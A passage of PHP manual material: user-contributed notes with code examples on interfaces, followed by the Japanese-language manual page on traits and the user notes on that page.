class T805 implements Auxiliary_Platform {
    public function Weapon() {
        var_dump(__CLASS__);
    }
    public function Health() {
        var_dump(__CLASS__ . "::" . __FUNCTION__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

class T806 extends T805 implements Auxiliary_Platform {
    public function Weapon() {
        var_dump(__CLASS__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

$T805 = new T805();
$T805->Weapon();
$T805->Health();
$T805->Shields();

echo "<hr />";

$T806 = new T806();
$T806->Weapon();
$T806->Health();
$T806->Shields();

/* Output:
string(4) "T805"
string(12) "T805::Health"
string(13) "T805->Shields"
<hr />string(4) "T806"
string(12) "T805::Health"
string(13) "T806->Shields"
*/

?>

Class T805 implements the interface Auxiliary_Platform. T806 does the same thing, but the method Health() is inherited from T805 (not the exact case, but you get the idea). PHP seems to be fine with this and everything still works fine. Do note that the rules for class inheritance doesn't change in this scenario.

If the code were to be the same, but instead T805 (or T806) DOES NOT implement Auxiliary_Platform, then it'll still work. Since T805 already follows the interface, everything that inherits T805 will also be valid. I would be careful about that. Personally, I don't consider this a bug.

This seems to work in PHP5.2.9-2, PHP5.3 and PHP5.3.1 (my current versions).

We could also do the opposite:

<?php

class T805 {
    public function Weapon() {
        var_dump(__CLASS__);
    }
}

class T806 extends T805 implements Auxiliary_Platform {
    public function Health() {
        var_dump(__CLASS__ . "::" . __FUNCTION__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

$T805 = new T805();
$T805->Weapon();

echo "<hr />";

$T806 = new T806();
$T806->Weapon();
$T806->Health();
$T806->Shields();

/* Output:
string(4) "T805"
<hr />string(4) "T805"
string(12) "T806::Health"
string(13) "T806->Shields"
*/

?>

This works as well, but the output is different. I'd be careful with this.
uramihsayibok, gmail, com 10-Feb-2010 11:25
Interfaces can define static methods, but note that this won't make sense as you'll be using the class name and not polymorphism.

...Unless you have PHP 5.3 which supports late static binding:

<?php

interface IDoSomething {
    public static function doSomething();
}

class One implements IDoSomething {
    public static function doSomething() {
        echo "One is doing something\n";
    }
}

class Two extends One {
    public static function doSomething() {
        echo "Two is doing something\n";
    }
}

function example(IDoSomething $doer) {
    $doer::doSomething(); // "unexpected ::" in PHP 5.2
}

example(new One()); // One is doing something
example(new Two()); // Two is doing something

?>

If you have PHP 5.2 you can still declare static methods in interfaces. While you won't be able to call them via LSB, the "implements IDoSomething" can serve as a hint/reminder to other developers by saying "this class has a ::doSomething() method".
Besides, you'll be upgrading to 5.3 soon, right? Right?

(Heh. I just realized: "I do something". Unintentional, I swear!)
cretz 21-Sep-2008 03:49
FYI, interfaces can define constructors, destructors, and magic methods. This can be very helpful especially in the case of constructors when instantiating an implementing class via reflection in some sort of factory. Of course, it is not recommended to do such a thing since it goes against the nature of a true interface.
secure_admin 14-Sep-2008 02:28
In response to harryjry and mehea concerning your Weather Model. The problem is that you don't need all the things you think you need. In OOP, good class definitions get to the point rather quickly.

<?php
class Weather{
  public $time, $temperature, $humidity;

  public function __construct($tm, $t, $h){
    $this->time = $tm;
    $this->temperature = $t;
    $this->humidity = $h;
  }

  public function __toString(){
    return "Time: $this->time,
      Temperature: $this->temperature&deg;,
      Humidity: $this->humidity%";
  }
}

$forecasts = array(
  new Weather("1:00 pm", 65, 42),
  new Weather("2:00 pm", 66, 40),
  new Weather("3:00 pm", 68, 39)
  // add more weather reports as desired...
);
echo "Forecast for Chicago, IL:<br>";
foreach($forecasts as $forecast) echo ' - ' . $forecast '<br>';
?>
Forecast for Chicago, IL:
- Time: 1:00 pm, Temperature: 65°, Humidity: 42%
- Time: 2:00 pm, Temperature: 66°, Humidity: 40%
- Time: 3:00 pm, Temperature: 68°, Humidity: 39%

Note: MySQL can store data like this already, but if you included constants, more variables, and other functions in the Weather class, then maybe, just maybe it could be of use.
mehea 30-Jul-2008 11:55
While a subclass may implement an interface by extending an abstract class that implements the interface, I question whether it is good design to to do so.  Here's what I would suggest while taking the liberty of modifying the above weather/wet model:

<?php
interface water
{
    public function makeItWet();
}

/**
   * abstract class implements water but defines makeItWet
   * in the most general way to allow child class to
   * provide specificity
**/
abstract class weather implements water
{
   private $cloudy;
   public function makeItWet(){}
   abstract public function start();
   abstract public function getCloudy();
   abstract public function setCloudy();
}

class rain extends weather                            {
    private $cloudy;
    public function start() {
        return "Here's some weather. ";
    }

    public function makeItWet() {
        return 'it is raining cats and dogs today.';
    }
    public function getCloudy() {
        return $this->cloudy;
    }
    public function setCloudy($bln=false) {
        $this->cloudy = $bln;
    }
}

$a = new rain();
echo $a->start();
$a->setCloudy(true);
if ($a->getCloudy()) {
    echo 'It is a cloudy day and ';
}
echo $a->makeItWet();

?>
harryjry at yahoo dot com 10-Jun-2008 02:29
The structure I am working with has a lot of inheritance going on, but not all methods are specified in one place. I needed a way to make sure an interface would be used, but that the method(s) defined in the interface are defined somewhere.

As such, I learned that the parent can define the interface's methods, and then the children can override that method at will without having to worry about the interface.

To expand on nrg1981's example, the following is possible:

<?php
interface water
{
    public function makeItWet();
}

class weather
{
    public function makeItWet()
    {
        return 'it may or may not be wet';
    }

    public function start()
    {
        return 'Here is some weather';
    }
}

class rain extends weather implements water
{
    public function makeItWet()
    {
        return 'It is wet';
    }
}

class thunder extends weather implements water
{

}

$a = new rain();
echo $a->start() . "\n";
echo $a->makeItWet() . "\n";

$a = new thunder();
echo $a->start() . "\n";
echo $a->makeItWet() . "\n";

?>
kaisershahid at gmail dot com 07-Apr-2008 05:41
php at wallbash dot com's comment of "It's important to note this because it is very unexpected behavior and renders many common Interface completly useless" doesn't make sense.

the idea of the interface is to force objects that aren't related to be reused in a common way. without them, to force that requirement, all objects that need those methods implemented would have to be descended from a base class that's known to have those methods. that's clearly not a smart idea if these objects aren't actually related.

one example (that i'm currently working on) is a background service that pulls information down from different content providers. i have a transport and i have an import. for both, what actually happens in the background is different from provider to provider, but since i'm implementing a transport & import interface, i only need to write code once, because i know exactly the what methods will be implemented to get the job done. then, i just have a config file that loads the class dynamically. i don't need something like

if ( $provider == "some company" )
{
   // use this set of code
}
elseif ( $provider == "another company" )
{
   // use this other set of code
}

instead, i can do:

foreach ( $providers as $provider => $info )
{
    $_transport = $info['transportObject'];
    $transport = new $_transport();
    $_import = $info['importObject'];
    $import = new $_import();

    $transport->setImporter( $import );
    $transport->retrieve();
}

it is expected behavior that when a class implements two interfaces that share one or more method names, an error is thrown, because interfaces don't relate to each other. if you want that sort of inferred behavior (i.e. A and B are different except for these shared methods), stick to [abstract] classes.

it sucks that interface methods might collide for some common types of tasks (get(), set(), etc.), so knowing that, design your interfaces with more unique method names.
michael dot martinek at gmail dot com 03-Jan-2008 08:18
In regards to what Hayley Watson is writing:

The "interface" is a method of enforcing that anyone who implements it must include all the functions declared in the interface. This is an abstraction method, since you cannot just declare a base class and do something like "public abstract function myTest();" and later on extend that class.

If you don't override the default value in a parameter list, it's assumed that the default value was received by time you have any control to read or relay the value on again. There should be no problem in having all or none of your parameters in an interface having a default value, as the value is "auto-filled" if not explicitly provided.

I just came across interfaces in PHP.. but I use them quite a bit in Java and Delphi. Currently building different DB wrappers, but all must enforce common access using a base class.. and also enforce that all of specific routines are implemented.
nrg1981 {AT} hotmail {DOT} com 05-Oct-2007 06:48
In case you would want to, a child class can implement an interface:

<?php

interface water
{
    public function makeItWet();
}

class weather
{
    public function start()
    {
        return 'Here is some weather';
    }
}

class rain extends weather implements water
{
    public function makeItWet()
    {
        return 'It is wet';
    }
}

$a = new rain();
echo $a->start();
echo $a->makeItWet();

?>
Hayley Watson 21-Sep-2007 03:42
If it's not already obvious, it's worth noticing that the parameters in the interface's method declaration do not have to have the same names as those in any of its implementations.

More significantly, default argument values may be supplied for interface method parameters, and they have to be if you want to use default argument values in the implemented classes:

<?php
interface isStuffable
{
    public function getStuffed($ratio=0.5);
}

class Turkey implements isStuffable
{
    public function getStuffed($stuffing=1)
    {
        // ....
    }
}
?>

Note that not only do the parameters have different names ($ratio and $stuffing), but their default values are free to be different as well. There doesn't seem to be any purpose to the interface's default argument value except as a dummy placeholder to show that there is a default (a class implementing isStuffable will not be able to implement methods with the signatures getStuffed(), getStuffed($a), or getStuffed($a,$b)).
Hayley Watson 20-Sep-2007 10:34
On an incidental note, it is not necessary for the implementation of an interface method to use the same variable names for its parameters that were used in the interface declaration.

More significantly, your interface method declarations can include default argument values. If you do, you must specify their implementations with default arguments, too. Just like the parameter names, the default argument values do not need to be the same. In fact, there doesn't seem to be any functionality to the one in the interface declaration at all beyond the fact that it is there.

<?php
interface isStuffed {
    public function getStuff($something=17);
}

class oof implements isStuffed {
    public function getStuff($a=42) {
        return $a;
    }
}

$oof = new oof;

echo $oof->getStuff();
?>

Implementations that try to declare the method as getStuff(), getStuff($a), or getStuff($a,$b) will all trigger a fatal error.
zedd at fadingtwilight dot net 04-Jul-2007 09:42
Regarding my previous note (04-Jul-2007 9:01):

I noticed a minor but critical mistake in my explanation. After the link to the PHP manual page on class abstraction, I stated:

"So by definition, you may only overload non-abstract methods."

This is incorrect. This should read:

"So by definition, you may only override non-abstract methods."

Sorry for any confusion.
Maikel 12-Jan-2007 03:07
if you want to implement an interface and in addition to use inheritance, first it uses "extends" and then "implements" example:

<?php
class MyChildClass extends MyParentClass implements MyInterface
{
   // definition
}
?>
Chris AT w3style DOT co.uk 07-Dec-2006 05:25
Note that you can extend interfaces with other interfaces since under-the-hood they are just abstract classes:

<?php

interface Foo {
    public function doFoo();
}

interface Bar extends Foo {
    public function doBar();
}

class Zip implements Bar {
    public function doFoo() {
        echo "Foo";
    }
    public function doBar() {
        echo "Bar";
    }
}

$zip = new Zip();
$zip->doFoo();
$zip->doBar();

?>

This is quite useful when you're using interfaces for identity more than the rigidity it places upon an API.  You can get the same result by implementing multiple interfaces.

An example of where I've used this in the past is with EventListener objects ala Java's Swing UI.  Some listeners are effectively the same thing but happen at different times therefore we can keep the same API but change the naming for clarity.
marasek AT telton POINT de 06-Sep-2006 06:01
What is not mentioned in the manual is that you can use "self" to force object hinting on a method of the implementing class:

Consider the following interface:
<?php
interface Comparable
{function compare(self $compare);}
?>

Which is then implemented:

<?php

class String implements Comparable
{
    private $string;
    function __construct($string)
    {$this->string = $string;}
    function compare(self $compare)
    {return $this->string == $compare->string;}
}

class Integer implements Comparable
{
    private $integer;
    function __construct($int)
    {$this->integer = $int;}
    function compare(self $compare)
    {return $this->integer == $compare->integer;}
}

?>

Comparing Integer with String will result in a fatal error, as it is not an instance of the same class:

<?php
$first_int = new Integer(3);
$second_int = new Integer(3);
$first_string = new String("foo");
$second_string = new String("bar");

var_dump($first_int->compare($second_int)); // bool(true)
var_dump($first_string->compare($second_string)); // bool(false)
var_dump($first_string->compare($second_int)); // Fatal Error
?>
darealremco at msn dot com 02-Oct-2005 12:53
To two notes below: There is one situation where classes and interfaces can be used interchangeably. In function definitions you can define parameter types to be classes or interfaces. If this was not so then there would not be much use for interfaces at all.
warhog at warhog dot net 11-Aug-2005 08:35
on the post below:

An interface is in fact the same like an abstract class containing abstract methods, that's why interfaces share the same namespace as classes and why therefore "real" classes cannot have the same name as interfaces.
marcus at synchromedia dot co dot uk 28-Jul-2005 04:11
Classes and interface names share a common name space, so you can't have a class and an interface with the same name, even though the two can never be used ambiguously (i.e. there are no circumstances in which a class and an interface can be used interchangeably). e.g. this will not work:

interface foo {
public function bling();
}

class foo implements foo {
public function bling() {
}
}

You will get a 'Cannot redeclare class' error, even though it's only been declared as a class once.
tobias_demuth at web dot de 04-May-2005 02:21
The statement, that you have to implement _all_ methods of an interface has not to be taken that seriously, at least if you declare an abstract class and want to force the inheriting subclasses to implement the interface.
Just leave out all methods that should be implemented by the subclasses. But never write something like this:

<?php

interface Foo {

      function bar();

}

abstract class FooBar implements Foo {

       abstract function bar(); // just for making clear, that this
                                 // method has to be implemented

}

?>

This will end up with the following error-message:

Fatal error: Can't inherit abstract function Foo::bar() (previously declared abstract in FooBar) in path/to/file on line anylinenumber
erik dot zoltan at msn dot com 25-Feb-2005 10:43
When should you use interfaces?  What are they good for?
Here are two examples.

1. Interfaces are an excellent way to implement reusability.
You can create a general interface for a number of situations
(such as a save to/load from disk interface.)  You can then
implement the interface in a variety of different ways (e.g. for
formats such as tab delimited ASCII, XML and a database.)
You can write code that asks the object to "save itself to
disk" without having to worry what that means for the object
in question.  One object might save itself to the database,
another to an XML and you can change this behavior over
time without having to rewrite the calling code.

This allows you to write reusable calling code that can work
for any number of different objects -- you don't need to know
what kind of object it is, as long as it obeys the common
interface.

2. Interfaces can also promote gradual evolution.  On a
recent project I had some very complicated work to do and I
didn't know how to implement it.  I could think of a "basic"
implementation but I knew I would have to change it later.
So I created interfaces in each of these cases, and created
at least one "basic" implementation of the interface that
was "good enough for now" even though I knew it would have
to change later.

When I came back to make the changes, I was able to create
some new implementations of these interfaces that added the
extra features I needed.  Some of my classes still used
the "basic" implementations, but others needed the
specialized ones.  I was able to add the new features to the
objects themselves without rewriting the calling code in most
cases.  It was easy to evolve my code in this way because
the changes were mostly isolated -- they didn't spread all
over the place like you might expect.
mat.wilmots (at) wanadoo (dot) fr 20-Jan-2005 06:22
interfaces support multiple inheritance

<?php

interface SQL_Result extends SeekableIterator, Countable
{
    // new stuff
}

abstract class SQL_Result_Common
{
    // just because that's what one would do in reality, generic implementation
}

class SQL_Result_mysql extends SQL_Result_Common implements SQL_Result
{
   // actual implementation
}

?>

This code raises a fatal error because SQL_Result_mysql doesn't implement the abstract methods of SeekableIterator (6) + Countable (1)
russ dot collier at gmail dot com 28-Nov-2004 10:24
You can also specify class constants in interfaces as well (similar to specifying 'public static final' fields in Java interfaces):

<?php

interface FooBar
{

    const SOME_CONSTANT = 'I am an interface constant';

    public function doStuff();

}

?>

Then you can access the constant by referring to the interface name, or an implementing class, (again similar to Java) e.g.:

<?php

class Baz implements FooBar
{

    //....

}

print Baz::SOME_CONSTANT;
print FooBar::SOME_CONSTANT;

?>

Both of the last print statements will output the same thing: the value of FooBar::SOME_CONSTANT


トレイト

PHP は、コードを再利用するための「トレイト」という仕組みを実装しています。

トレイトは、PHP のような単一継承言語でコードを再利用するための仕組みのひとつです。 トレイトは、単一継承の制約を減らすために作られたもので、 いくつかのメソッド群を異なるクラス階層にある独立したクラスで再利用できるようにします。 トレイトとクラスを組み合わせた構文は複雑さを軽減させてくれ、 多重継承や Mixin に関連するありがちな問題を回避することもできます。

トレイトはクラスと似ていますが、トレイトは単にいくつかの機能をまとめるためだけのものです。 トレイト自身のインスタンスを作成することはできません。 昔ながらの継承に機能を加えて、振る舞いを水平方向で構成できるようになります。 つまり、継承しなくてもクラスのメンバーに追加できるようになります。

例1 トレイトの例

<?php
trait ezcReflectionReturnInfo {
    function getReturnType() { /*1*/ }
    function getReturnDescription() { /*2*/ }
}

class ezcReflectionMethod extends ReflectionMethod {
    use ezcReflectionReturnInfo;
    /* ... */
}

class ezcReflectionFunction extends ReflectionFunction {
    use ezcReflectionReturnInfo;
    /* ... */
}
?>

優先順位

基底クラスから継承したメンバーよりも、トレイトで追加したメンバーのほうが優先されます。 優先順位は現在のクラスのメンバーが最高で、その次がトレイトのメソッド、 そしてその次にくるのが継承したメソッドとなります。

例2 優先順位の例

基底クラスから継承したメソッドは、MyHelloWorld に SayWorld トレイトから追加されたメソッドで上書きされます。 この挙動は、MyHelloWorld クラスで定義したメソッドでも同じです。 優先順位は現在のクラスのメンバーが最高で、その次がトレイトのメソッド、 そしてその次にくるのが継承したメソッドとなります。

<?php
class Base {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait SayWorld {
    public function sayHello() {
        parent::sayHello();
        echo 'World!';
    }
}

class MyHelloWorld extends Base {
    use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

上の例の出力は以下となります。

Hello World!

例3 もうひとつの優先順位の例

<?php
trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

class TheWorldIsNotEnough {
    use HelloWorld;
    public function sayHello() {
        echo 'Hello Universe!';
    }
}

$o = new TheWorldIsNotEnough();
$o->sayHello();
?>

上の例の出力は以下となります。

Hello Universe!

複数のトレイト

複数のトレイトをひとつのクラスに追加するには、use 文でカンマ区切りで指定します。

例4 複数のトレイトの使用例

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

上の例の出力は以下となります。

Hello World!

衝突の解決

同じ名前のメンバーを含む複数のトレイトを追加するときには、 衝突を明示的に解決しておかないと fatal エラーが発生します。

同一クラス内での複数のトレイト間の名前の衝突を解決するには、 insteadof 演算子を使って そのうちのひとつを選ばなければなりません。

この方法はひとつのメソッドだけしか使えませんが、 as 演算子を使うと、 メソッドのいずれかにエイリアスを追加できます。 as 演算子はメソッドをリネームするわけではないので、 その他のメソッドにも何も影響を及ぼさないことに注意しましょう。

例5 衝突の解決

この例では、Talker がトレイト A と B を使います。 A と B には同じ名前のメソッドがあるので、 smallTalk はトレイト B を使って bigTalk はトレイト A を使うように定義します。

Aliased_Talker は、as 演算子を使って B の bigTalk の実装に talk というエイリアスを指定して使います。

<?php
trait A {
    public function smallTalk() {
        echo 'a';
    }
    public function bigTalk() {
        echo 'A';
    }
}

trait B {
    public function smallTalk() {
        echo 'b';
    }
    public function bigTalk() {
        echo 'B';
    }
}

class Talker {
    use A, B {
        B::smallTalk insteadof A;
        A::bigTalk insteadof B;
    }
}

class Aliased_Talker {
    use A, B {
        B::smallTalk insteadof A;
        A::bigTalk insteadof B;
        B::bigTalk as talk;
    }
}
?>

メソッドのアクセス権の変更

as 構文を使うと、 クラス内でのメソッドのアクセス権も変更することができます。

例6 メソッドのアクセス権を変更する

<?php
trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

// sayHello のアクセス権を変更します
class MyClass1 {
    use HelloWorld { sayHello as protected; }
}

// アクセス権を変更したエイリアスメソッドを作ります
// sayHello 自体のアクセス権は変わりません
class MyClass2 {
    use HelloWorld { sayHello as private myPrivateHello; }
}
?>

トレイトを組み合わせたトレイト

クラスからトレイトを使えるのと同様に、トレイトからもトレイトを使えます。 トレイトの定義の中でトレイトを使うと、 定義したトレイトのメンバーの全体あるいは一部を組み合わせることができます。

例7 トレイトを組み合わせたトレイト

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World!';
    }
}

trait HelloWorld {
    use Hello, World;
}

class MyHelloWorld {
    use HelloWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
?>

上の例の出力は以下となります。

Hello World!

トレイトのメンバーの抽象化

トレイトでは、抽象メソッドを使ってクラスの要件を指定できます。 アクセス権は public, protected, private をサポートしています。 PHP 8.0.0 より前のバージョンでは、 protected と private な抽象メソッドだけがサポートされていました。

警告

具象クラスでは、 具象メソッドを同じ名前で定義することによって、要件を満たせます。 つまり、シグネチャは異なっていても構いません。

例8 抽象メソッドによる、要件の明示

<?php
trait Hello {
    public function sayHelloWorld() {
        echo 'Hello'.$this->getWorld();
    }
    abstract public function getWorld();
}

class MyHelloWorld {
    private $world;
    use Hello;
    public function getWorld() {
        return $this->world;
    }
    public function setWorld($val) {
        $this->world = $val;
    }
}
?>

トレイトの静的なメンバー

トレイトでは、静的なメンバーやメソッドを定義できます。

例9 静的な変数

<?php
trait Counter {
    public function inc() {
        static $c = 0;
        $c = $c + 1;
        echo "$c\n";
    }
}

class C1 {
    use Counter;
}

class C2 {
    use Counter;
}

$o = new C1(); $o->inc(); // 1 と表示
$p = new C2(); $p->inc(); // 1 と表示
?>

例10 静的なメソッド

<?php
trait StaticExample {
    public static function doSomething() {
        return 'Doing something';
    }
}

class Example {
    use StaticExample;
}

Example::doSomething();
?>

プロパティ

トレイトにはプロパティも定義できます。

例11 プロパティの定義

<?php
trait PropertiesTrait {
    public $x = 1;
}

class PropertiesExample {
    use PropertiesTrait;
}

$example = new PropertiesExample;
$example->x;
?>

トレイトでプロパティを定義したときは、 クラスではそれと互換性(公開範囲と初期値が同じ)がない同じ名前のプロパティを定義できません。 互換性がない名前を定義すると、致命的なエラーが発生します。

例12 衝突の解決

<?php
trait PropertiesTrait {
    public $same = true;
    public $different = false;
}

class PropertiesExample {
    use PropertiesTrait;
    public $same = true;
    public $different = true; // Fatal error
}
?>

User Contributed Notes

guidobelluomo at gmail dot com 22-Sep-2020 06:57
If you override a method which was defined by a trait, calling the parent method will also call the trait's override. Therefore if you need to derive from a class which has a trait, you can extend the class without losing the trait's functionality:

<?php

trait ExampleTrait
{
    public function output()
    {
        parent::output();
        echo "bar<br>";
    }
}

class Foo
{
    public function output()
    {
        echo "foo<br>";
    }
}

class FooBar extends Foo
{
    use ExampleTrait;
}

class FooBarBaz extends FooBar
{
    use ExampleTrait;
    public function output()
    {
        parent::output();
        echo "baz";
    }
}

(new FooBarBaz())->output();
?>

Output:
foo
bar
baz
Anonymous 20-May-2020 07:32
Trait, utility, or inheritance?

You can view a trait as a collection of utility functions with access to $this, without first having to declare (or think about) which classes $this could belong to.

Anytime you want to carve out (a.k.a factor out, "cut & paste") a section of code that you want to use in other classes too, and you need $this, then you should put the code in a trait function.

Trait functions can also use $this to share data among each other.

If you don't need access to $this, you could carve out the code into a utility function or a separate utility class outside your original class. To share data among functions of a utility class you will have to pass around a utility object. Since a trait is more intimately tied in through $this, there is nothing you need to pass around.

Common functionality can also be factored out into a parent class. Such a parent class could sit in between a base class from a library and several child classes that you write. However, all your classes that use the common functionality must then inherit from the "in between" parent. This means they cannot be children from any other class. If the common functionality is general enough to be used with other base classes, you will end up having to duplicate ("copy & paste") the code into several "in between" classes. With a trait you won't have to, which in most cases makes it easier to update and improve the common functionality.
gulaschsuppe2 at gmail dot com 08-Jul-2019 11:34
Like shown in other examples it is possible to define a constructors and destructors in traits:

<? php
    trait T {
        public $prop = null;

        public function __construct($prop) {
            echo "Constructor called\n";
            $this->prop = $prop;
        }

        public function __destruct() {
            echo "Destructor called\n";
        }
    }

    class A {
        use T;
    }

    $a = new A("Hello World\n"); // Constructor called

    echo $a->prop; // Hello World

    // Destructor called

?>

It is also possible to use trait methods as constructor/destructor using them with the alias '__construct'/'__destruct':

<?php
    trait T {
        public $prop = null;

        public function constructor($prop) {
            echo "Constructor called\n";
            $this->prop = $prop;
        }

        public function destructor() {
            echo "Destructor called\n";
        }
    }

    class A {
        use T {
            T::constructor as __construct;
            T::destructor as __destruct;
        }
    }

    $a = new A("Hello World\n"); // Constructor called

    echo $a->prop; // Hello World

    // Destructor called

?>
yeu_ym at yahoo dot com 02-Mar-2019 04:03
Here is an example how to work with visiblity and conflicts.

<?php

trait A
{
    private function smallTalk()
    {
        echo 'a';
    }

    private function bigTalk()
    {
        echo 'A';
    }
}

trait B
{
    private function smallTalk()
    {
        echo 'b';
    }

    private function bigTalk()
    {
        echo 'B';
    }
}

trait C
{
    public function smallTalk()
    {
        echo 'c';
    }

    public function bigTalk()
    {
        echo 'C';
    }
}

class Talker
{
    use A, B, C {
        //visibility for methods that will be involved in conflict resolution
        B::smallTalk as public;
        A::bigTalk as public;

        //conflict resolution
        B::smallTalk insteadof A, C;
        A::bigTalk insteadof B, C;

        //aliases with visibility change
        B::bigTalk as public Btalk;
        A::smallTalk as public asmalltalk;

        //aliases only, methods already defined as public
        C::bigTalk as Ctalk;
        C::smallTalk as cmallstalk;
    }

}

(new Talker)->bigTalk();//A
(new Talker)->Btalk();//B
(new Talker)->Ctalk();//C

(new Talker)->asmalltalk();//a
(new Talker)->smallTalk();//b
(new Talker)->cmallstalk();//c
nobody 19-Dec-2018 04:11
<?php
trait MyTrait {
    public function sayHello() {
        echo 'Hello World! from MyTrait';
    }
}

class MyClass1 {
    use MyTrait;

    public function sayHello() {
        echo 'Hello World from MyClasss!';
    }
}
 $obj=new MyClass1();
$obj->sayHello(); //Hello World from MyClasss!?

?>
rawsrc 29-May-2018 06:35
About the (Safak Ozpinar / safakozpinar at gmail)'s great note, you can still have the same behavior than inheritance using trait with this approach :
<?php

trait TestTrait {
    public static $_bar;
}

class FooBar {
    use TestTrait;
}

class Foo1 extends FooBar {

}
class Foo2 extends FooBar {

}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
Anonymous 11-Jan-2018 12:05
", но нельзя определить статические переменные в самом трейте." - зачем вводите людей в заблуждение?

Документация помечена как ооп5 (я не знаю с какой версии есть такая возможность, до сего дня верил вам и думал что нельзя), но учитывая что здесь и по более поздним версиям информация, то Вы как то пометьте что статические переменные могут быть в трейте не только в методах трейта, но и сами по себе свойствами трейта.
tz at za-ek dot ru 26-Dec-2017 08:29
I want to make flexible module that contains different functionality and I want to combine this but using the same methods:

<?php
class Brain {
    public function ask($q) {
        // Trate the question
        return 'Some response';
    }
}

trait BrainLogger {
    public function ask($q) {
        log('Received a question: ' . $q);
        return parent::ask();
    }
}
trait BrainMad {
    public function ask($q) {
        if(rand(0,1) == 1) {
               return parent::ask($q);
        } else {
               return 'I don\'t wanna talk with you.';
        }
    }
}
?>

In some part of my application I want to use different combinations of that functionality so if I want one brain instance:

<?php
$brain = new Brain;
$brain->ask('what we gonna do tonight?');
?>

If I want log all received questions:

<?php
class NiceBrain extends Brain {
    use BrainLog;
}
$brain = new Brain;
$brain->ask('what we gonna do tonight?'); // Will log
?>

If I want to extend more I need to make a cascade of classes:
<?php
class NiceBrain extends Brain {
    use BrainLog;
}
class CrazyBrain extends NiceBrain {
    use BrainMad;
}
$brain = new CrazyBrain;
$brain->ask('What we gonna do tonight?');
// Will output  'I don't wanna talk with you.' or normal response
// but logging only in case BrainMad has a good mood
?>

Because using of multiple traits will call only one selected in section "use Trait;".
bscheshirwork at gmail dot com 03-Nov-2017 02:04
https://3v4l.org/mFuQE

1. no deprecate if same-class-named method get from trait
2. replace same-named method ba to aa in C

trait ATrait {
    public function a(){
        return 'Aa';
    }
}

trait BTrait {
    public function a(){
        return 'Ba';
    }
}

class C {
    use ATrait{
        a as aa;
    }
    use BTrait{
        a as ba;
    }

    public function a() {
        return static::aa() . static::ba();
    }
}

$o = new C;
echo $o->a(), "\n";

class D {
    use ATrait{
        ATrait::a as aa;
    }
    use BTrait{
        BTrait::a as ba;
    }

    public function a() {
        return static::aa() . static::ba();
    }
}

$o = new D;
echo $o->a(), "\n";

class E {
    use ATrait{
        ATrait::a as aa;
        ATrait::a insteadof BTrait;
    }
    use BTrait{
        BTrait::a as ba;
    }

    public function e() {
        return static::aa() . static::ba();
    }
}

$o = new E;
echo $o->e(), "\n";

class F {
    use ATrait{
        a as aa;
    }
    use BTrait{
        a as ba;
    }

    public function f() {
        return static::aa() . static::ba();
    }
}

$o = new F;
echo $o->f(), "\n";

AaAa
AaBa

Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; E has a deprecated constructor in /in/mFuQE on line 48
AaBa

Fatal error: Trait method a has not been applied, because there are collisions with other trait methods on F in /in/mFuQE on line 65
katrinaelaine6 at gmail dot com 19-Oct-2017 08:56
Adding to "atorich at gmail dot com":

The behavior of the magic constant __CLASS__ when used in traits is as expected if you understand traits and late static binding (http://php.net/manual/en/language.oop5.late-static-bindings.php).

<?php

$format = 'Class: %-13s | get_class(): %-13s | get_called_class(): %-13s%s';

trait TestTrait {
    public function testMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function testStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

trait DuplicateTrait {
    public function duplMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function duplStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

abstract class AbstractClass {

    use DuplicateTrait;

    public function absMethod() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }

    public static function absStatic() {
        global $format;
        printf($format, __CLASS__, get_class(), get_called_class(), PHP_EOL);
    }
}

class BaseClass extends AbstractClass {
    use TestTrait;
}

class TestClass extends BaseClass { }

$t = new TestClass();

$t->testMethod();
TestClass::testStatic();

$t->absMethod();
TestClass::absStatic();

$t->duplMethod();
TestClass::duplStatic();

?>

Will output:

Class: BaseClass     | get_class(): BaseClass     | get_called_class(): TestClass
Class: BaseClass     | get_class(): BaseClass     | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass
Class: AbstractClass | get_class(): AbstractClass | get_called_class(): TestClass

Since Traits are considered literal "copying/pasting" of code, it's clear how the methods defined in DuplicateTrait give the same results as the methods defined in AbstractClass.
cody at codysnider dot com 30-Mar-2017 03:05
/*
DocBlocks pertaining to the class or trait will NOT be carried over when applying the trait.

Results trying a couple variations on classes with and without DocBlocks that use a trait with a DocBlock
*/

<?php

/**
 * @Entity
 */
trait Foo
{
    protected $foo;
}

/**
 * @HasLifecycleCallbacks
 */
class Bar
{
    use \Foo;

    protected $bar;
}

class MoreBar
{
    use \Foo;

    protected $moreBar;
}

$w = new \ReflectionClass('\Bar');
echo $w->getName() . ":\r\n";
echo $w->getDocComment() . "\r\n\r\n";

$x = new \ReflectionClass('\MoreBar');
echo $x->getName() . ":\r\n";
echo $x->getDocComment() . "\r\n\r\n";

$barObj = new \Bar();
$y = new \ReflectionClass($barObj);
